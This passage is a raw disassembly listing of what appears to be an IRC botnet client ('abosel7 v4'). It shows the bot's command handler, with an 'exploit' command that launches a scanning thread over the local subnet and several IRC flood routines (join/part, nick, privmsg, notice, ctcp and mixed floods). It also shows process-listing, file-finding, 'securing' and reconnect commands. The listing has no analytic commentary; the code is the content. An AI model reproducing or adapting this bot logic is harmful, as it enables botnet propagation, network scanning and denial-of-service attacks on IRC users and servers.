call sub_40BA9E
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_404547: ; CODE XREF: sub_401ACD+155Aj
; sub_401ACD+156Fj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BA49
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_40455D: ; CODE XREF: sub_401ACD+1530j
; sub_401ACD+1545j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B9DD
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_404573: ; CODE XREF: sub_401ACD+1506j
; sub_401ACD+151Bj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B90E
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_404589: ; CODE XREF: sub_401ACD+1461j
; sub_401ACD+1476j
push [ebp+esi+var_8C]
push 27h
push offset aProcessList ; "Process list"
push offset dword_42BCD8
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_4045A1: ; CODE XREF: sub_401ACD+1437j
; sub_401ACD+144Cj
push [ebp+esi+var_8C]
push 24h
push offset aFindFile ; "Find file"
push offset dword_42BCBC
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_4045B9: ; CODE XREF: sub_401ACD+1050j
; sub_401ACD+1065j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_4045D8
push edi
call sub_41C159
test eax, eax
pop ecx
jz short loc_4045D8
push edi
call sub_41C159
pop ecx
jmp short loc_4045DD
; ---------------------------------------------------------------------------
loc_4045D8: ; CODE XREF: sub_401ACD+2AF5j
; sub_401ACD+2B00j
mov eax, dword_429074
loc_4045DD: ; CODE XREF: sub_401ACD+2B09j
mov esi, [ebp+esi+var_88]
mov [ebp+var_590], eax
cmp esi, ebx
jz short loc_404602
push esi
loc_4045EF: ; CODE XREF: sub_401ACD+2B44j
lea eax, [ebp+var_5A0]
push 10h
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_404619
; ---------------------------------------------------------------------------
loc_404602: ; CODE XREF: sub_401ACD+2B1Fj
cmp [ebp+var_8FF], bl
jz short loc_404613
lea eax, [ebp+var_C4]
push eax
jmp short loc_4045EF
; ---------------------------------------------------------------------------
loc_404613: ; CODE XREF: sub_401ACD+2B3Bj
mov [ebp+var_5A0], bl
loc_404619: ; CODE XREF: sub_401ACD+2B33j
mov eax, [ebp+var_4]
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov [ebp+var_584], eax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_580], eax
lea eax, [ebp+var_620]
push eax
mov [ebp+var_624], esi
call sub_41C360
add esp, 0Ch
push [ebp+var_590]
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BC94
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 19h
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_58C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_624]
push ebx
push eax
push offset sub_411BCE
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_58C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4046CA
loc_4046B4: ; CODE XREF: sub_401ACD+2BFBj
cmp [ebp+var_57C], ebx
jnz loc_401F75
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_4046B4
; ---------------------------------------------------------------------------
loc_4046CA: ; CODE XREF: sub_401ACD+2BE5j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42BC58
jmp loc_4097CB
; ---------------------------------------------------------------------------
loc_4046DB: ; CODE XREF: sub_401ACD+FFDj
; sub_401ACD+1012j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4046FB
push esi
call sub_41C159
test ax, ax
pop ecx
jz short loc_4046FB
push esi
call sub_41C159
pop ecx
jmp short loc_404701
; ---------------------------------------------------------------------------
loc_4046FB: ; CODE XREF: sub_401ACD+2C17j
; sub_401ACD+2C23j
mov ax, word_429084
loc_404701: ; CODE XREF: sub_401ACD+2C2Cj
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
mov [ebp+var_97C], ax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_96C], eax
lea eax, [ebp+var_9FC]
push eax
mov [ebp+var_A00], esi
mov [ebp+var_970], edi
call sub_41C360
movzx eax, [ebp+var_97C]
add esp, 0Ch
push eax
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BC2C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push edi
push eax
push [ebp+var_88]
push esi
call sub_409869
push ebx
lea eax, [ebp+var_2C4]
push 6
push eax
call sub_40B3BA
add esp, 30h
mov [ebp+var_978], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A00]
push ebx
push eax
push offset sub_40EF1C
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_978]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4047D0
loc_4047BA: ; CODE XREF: sub_401ACD+2D01j
cmp [ebp+var_968], ebx
jnz loc_401F75
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_4047BA
; ---------------------------------------------------------------------------
loc_4047D0: ; CODE XREF: sub_401ACD+2CEBj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42BBEC
jmp loc_4097CB
; ---------------------------------------------------------------------------
loc_4047E1: ; CODE XREF: sub_401ACD+FA9j
; sub_401ACD+FBEj ...
push edi
push offset aSecure ; "secure"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_404809
push edi
push offset aSec ; "sec"
call sub_41CA50
pop ecx
mov [ebp+var_AA8], ebx
test eax, eax
pop ecx
jnz short loc_404813
loc_404809: ; CODE XREF: sub_401ACD+2D23j
mov [ebp+var_AA8], 1
loc_404813: ; CODE XREF: sub_401ACD+2D3Aj
push [ebp+var_88]
lea eax, [ebp+var_B2C]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_AA8], ebx
mov [ebp+var_B30], eax
mov eax, [ebp+var_4]
mov [ebp+var_AA4], eax
mov eax, [ebp+var_8]
mov [ebp+var_AA0], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_40485A
mov eax, offset aUnsecuring ; "Unsecuring"
loc_40485A: ; CODE XREF: sub_401ACD+2D86j
push eax
push offset dword_42BBB8
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 22h
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_AAC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_B30]
push ebx
push eax
push offset sub_41A366
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_AAC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4048CE
loc_4048B8: ; CODE XREF: sub_401ACD+2DFFj
cmp [ebp+var_A9C], ebx
jnz loc_4082DE
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_4048B8
; ---------------------------------------------------------------------------
loc_4048CE: ; CODE XREF: sub_401ACD+2DE9j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42BB7C
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_4048DF: ; CODE XREF: sub_401ACD+F7Fj
; sub_401ACD+F94j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41ABFB
loc_4048F0: ; CODE XREF: sub_401ACD+2A75j
; sub_401ACD+2A8Bj ...
add esp, 0Ch
jmp loc_409644
; ---------------------------------------------------------------------------
loc_4048F8: ; CODE XREF: sub_401ACD+F55j
; sub_401ACD+F6Aj
push offset unk_42BB2C
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_404902: ; CODE XREF: sub_401ACD+F2Bj
; sub_401ACD+F40j
push offset aAbosel7V4 ; "abosel7 v4"
push offset dword_42BB1C
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_404911: ; CODE XREF: sub_401ACD+F01j
; sub_401ACD+F16j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_404971
push esi
call sub_41C159
cmp eax, ebx
pop ecx
jl short loc_404966
cmp eax, 3
jge short loc_404966
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_40495B
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CD50
push eax
call sub_41C266
add esp, 0Ch
mov [esi], bl
jmp loc_4081AD
; ---------------------------------------------------------------------------
loc_40495B: ; CODE XREF: sub_401ACD+2E6Dj
push eax
push offset unk_42BAF0
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_404966: ; CODE XREF: sub_401ACD+2E58j
; sub_401ACD+2E5Dj
push eax
push offset unk_42BAC4
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_404971: ; CODE XREF: sub_401ACD+2E4Dj
mov edi, [ebp+arg_18]
xor esi, esi
loc_404976: ; CODE XREF: sub_401ACD+2EC5j
push [ebp+var_90]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_404999
inc esi
add edi, 80h
cmp esi, 3
jl short loc_404976
jmp loc_4081AD
; ---------------------------------------------------------------------------
loc_404999: ; CODE XREF: sub_401ACD+2EB9j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
push offset unk_42CD50
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_4049B3: ; CODE XREF: sub_401ACD+ED7j
; sub_401ACD+EECj
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403446
call sub_40B583
push ebx
call ds:dword_42706C ; ExitProcess
loc_4049D9: ; CODE XREF: sub_401ACD+19B1j
push offset aGet_1 ; "get"
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404A67
cmp dword_4CF180, ebx
jz short loc_404A01
push offset dword_4CEB60
loc_4049F7: ; CODE XREF: sub_401ACD+2F98j
push offset unk_42BA88
jmp loc_404A97
; ---------------------------------------------------------------------------
loc_404A01: ; CODE XREF: sub_401ACD+2F23j
push 10h
pop eax
mov [ebp+var_2CC], eax
push eax
lea eax, [ebp+var_2E8]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_2CC]
push eax
lea eax, [ebp+var_2E8]
push eax
push [ebp+arg_4]
call ds:dword_427214 ; getsockname
movzx eax, [ebp+var_2E2]
push eax
movzx eax, [ebp+var_2E3]
push eax
movzx eax, [ebp+var_2E4]
push eax
lea eax, [ebp+var_E24]
push offset aD_D_D_ ; "%d.%d.%d.*"
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp+var_E24]
push eax
jmp short loc_4049F7
; ---------------------------------------------------------------------------
loc_404A67: ; CODE XREF: sub_401ACD+2F1Bj
push edi
call dword_4CBA14 ; inet_addr
cmp eax, 0FFFFFFFFh
push edi
jnz short loc_404A7B
push offset unk_42BA48
jmp short loc_404A97
; ---------------------------------------------------------------------------
loc_404A7B: ; CODE XREF: sub_401ACD+2FA5j
push offset dword_4CEB60
call sub_41C890
pop ecx
mov dword_4CF180, 1
pop ecx
push edi
push offset unk_42BA1C
loc_404A97: ; CODE XREF: sub_401ACD+2F2Fj
; sub_401ACD+2FACj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
jmp loc_40349D
; ---------------------------------------------------------------------------
loc_404AAB: ; CODE XREF: sub_401ACD+199Cj
push [ebp+arg_8]
push offset aExploit ; "exploit"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_404BB1
mov eax, [ebp+var_4]
mov esi, 80h
mov [ebp+var_13E8], eax
mov eax, [ebp+var_8]
mov [ebp+var_13E4], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13F8], eax
push offset aF ; "#f"
lea eax, [ebp+var_1478]
push esi
push eax
mov [ebp+var_13F0], 1
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_14F8]
push offset aF ; "#f"
push esi
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_1508]
push edi
push 10h
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_1508]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42B9E4
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 8
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_13EC], eax
lea eax, [ebp+var_2FC]
push eax
lea eax, [ebp+var_1508]
push ebx
push eax
push offset sub_40BB65
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_13EC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_404BA0
loc_404B8A: ; CODE XREF: sub_401ACD+30D1j
cmp [ebp+var_13E0], ebx
jnz loc_4081AD
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_404B8A
; ---------------------------------------------------------------------------
loc_404BA0: ; CODE XREF: sub_401ACD+30BBj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42B9A4
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_404BB1: ; CODE XREF: sub_401ACD+2FEFj
push [ebp+arg_8]
push offset aReconnect_in ; "reconnect.in"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4095B4
push [ebp+arg_8]
push offset aRin ; "rin"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4095B4
push [ebp+arg_8]
push offset aReconnect_in_m ; "reconnect.in.ms"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409570
push [ebp+arg_8]
push offset aRinms ; "rinms"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409570
push [ebp+arg_8]
push offset aFlood ; "flood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4057B7
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
push edi
push offset aLoad ; "load"
call sub_41CA50
add esp, 0Ch
test eax, eax
jnz short loc_404CB7
cmp [ebp+esi+var_80], ebx
jz short loc_404CB7
push [ebp+esi+var_80]
call sub_41C159
pop ecx
push eax
push [ebp+esi+var_84]
call sub_41C159
pop ecx
push eax
push [ebp+esi+var_88]
call sub_417E06
add esp, 0Ch
lea eax, [ebp+var_2C4]
push [ebp+esi+var_84]
push [ebp+esi+var_88]
push [ebp+esi+var_80]
push offset unk_42B93C
push eax
call sub_41C266
add esp, 14h
cmp [ebp+var_8], ebx
jnz short loc_404CB7
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_404CB7: ; CODE XREF: sub_401ACD+3173j
; sub_401ACD+3179j ...
push edi
push offset aPm ; "pm"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404D21
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404D21
push offset asc_42CDC0 ; " "
push offset a_ ; "_"
push eax
call sub_41843B
push eax
lea eax, [ebp+var_47F0]
push eax
call sub_41C890
add esp, 14h
lea eax, [ebp+var_47F0]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPrivmsgSS ; "privmsg %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404D21: ; CODE XREF: sub_401ACD+31F9j
; sub_401ACD+3204j
push edi
push offset dword_42B920
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404D8B
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404D8B
push offset asc_42CDC0 ; " "
push offset a_ ; "_"
push eax
call sub_41843B
push eax
lea eax, [ebp+var_4AF4]
push eax
call sub_41C890
add esp, 14h
lea eax, [ebp+var_4AF4]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B90C
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404D8B: ; CODE XREF: sub_401ACD+3263j
; sub_401ACD+326Ej
push edi
push offset aNt ; "nt"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404DF5
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404DF5
push offset asc_42CDC0 ; " "
push offset a_ ; "_"
push eax
call sub_41843B
push eax
lea eax, [ebp+var_48F0]
push eax
call sub_41C890
add esp, 14h
lea eax, [ebp+var_48F0]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "notice %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404DF5: ; CODE XREF: sub_401ACD+32CDj
; sub_401ACD+32D8j
push edi
push offset aMode ; "mode"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404E5F
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404E5F
push offset asc_42CDC0 ; " "
push offset a_ ; "_"
push eax
call sub_41843B
push eax
lea eax, [ebp+var_4FF8]
push eax
call sub_41C890
add esp, 14h
lea eax, [ebp+var_4FF8]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aModeSS ; "mode %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404E5F: ; CODE XREF: sub_401ACD+3337j
; sub_401ACD+3342j
push edi
push offset aJoin ; "join"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404E9C
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404E9C
push eax
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_404E9C: ; CODE XREF: sub_401ACD+33A1j
; sub_401ACD+33ACj
push edi
push offset aPart_0 ; "part"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404ED9
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404ED9
push eax
lea eax, [ebp+var_2C4]
push offset aPartS ; "part %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_404ED9: ; CODE XREF: sub_401ACD+33DEj
; sub_401ACD+33E9j
push edi
push offset aPartflood ; "partflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404F1B
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404F1B
push offset dword_427620
push eax
lea eax, [ebp+var_2C4]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404F1B: ; CODE XREF: sub_401ACD+341Bj
; sub_401ACD+3426j
push edi
push offset aPnick ; "pnick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404F92
cmp [ebp+esi+var_88], ebx
jz short loc_404F92
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_17B8]
push edx
push [ebp+esi+var_88]
push offset aSI ; "%s%i"
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp+var_17B8]
push eax
lea eax, [ebp+var_2C4]
push offset aNickS_0 ; "NICK %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_404F92: ; CODE XREF: sub_401ACD+345Dj
; sub_401ACD+3466j
push edi
push offset aJoinPart ; "join/part"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4050E9
cmp [ebp+esi+var_88], ebx
jz loc_4050E9
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push offset dword_427620
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 384h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
push offset dword_427620
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 0C8h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
push offset dword_427620
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_4050E9: ; CODE XREF: sub_401ACD+34D4j
; sub_401ACD+34E1j
push edi
push offset dword_42B884
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405181
cmp [ebp+esi+var_88], ebx
jz short loc_405181
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_2C4]
push edx
push [ebp+esi+var_88]
push offset dword_42B85C
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 24h
loc_405181: ; CODE XREF: sub_401ACD+362Bj
; sub_401ACD+3638j
push edi
push offset aNick_0 ; "nick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405289
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz loc_405289
push eax
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
lea eax, [ebp+var_4BC]
push eax
call sub_417E84
add esp, 14h
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset aNickS_0 ; "NICK %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
lea eax, [ebp+var_4BC]
push eax
call sub_417E84
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset aNickS_0 ; "NICK %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 1F4h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
lea eax, [ebp+var_4BC]
push eax
call sub_417E84
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset aNickS_0 ; "NICK %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_405289: ; CODE XREF: sub_401ACD+36C3j
; sub_401ACD+36D2j
push edi
push offset aChgnick ; "chgnick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4052CE
lea eax, [ebp+var_180C]
push eax
call sub_417E84
pop ecx
lea eax, [ebp+var_180C]
push eax
lea eax, [ebp+var_2C4]
push offset aNickS_0 ; "NICK %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_4052CE: ; CODE XREF: sub_401ACD+37CBj
push edi
push offset aMsg ; "msg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4053C3
cmp [ebp+esi+var_88], ebx
jz loc_4053C3
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push offset dword_427624
push [ebp+esi+var_88]
push offset aPrivmsgSS ; "privmsg %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPrivmsgSS ; "privmsg %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 384h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPrivmsgSS ; "privmsg %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_4053C3: ; CODE XREF: sub_401ACD+3810j
; sub_401ACD+381Dj
push edi
push offset aNotice_0 ; "notice"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4054B8
cmp [ebp+esi+var_88], ebx
jz loc_4054B8
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push offset dword_427624
push [ebp+esi+var_88]
push offset aNoticeSS_1 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_1 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 384h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_1 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_4054B8: ; CODE XREF: sub_401ACD+3905j
; sub_401ACD+3912j
push edi
push offset aCtcp ; "ctcp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4055D9
cmp [ebp+esi+var_88], ebx
jz loc_4055D9
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B814
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B7FC
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B7E4
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B7E4
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_4055D9: ; CODE XREF: sub_401ACD+39FAj
; sub_401ACD+3A07j
push edi
push offset aMix ; "mix"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405709
cmp [ebp+esi+var_88], ebx
jz loc_405709
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B814
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_1 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
push offset dword_427624
lea eax, [ebp+var_2C4]
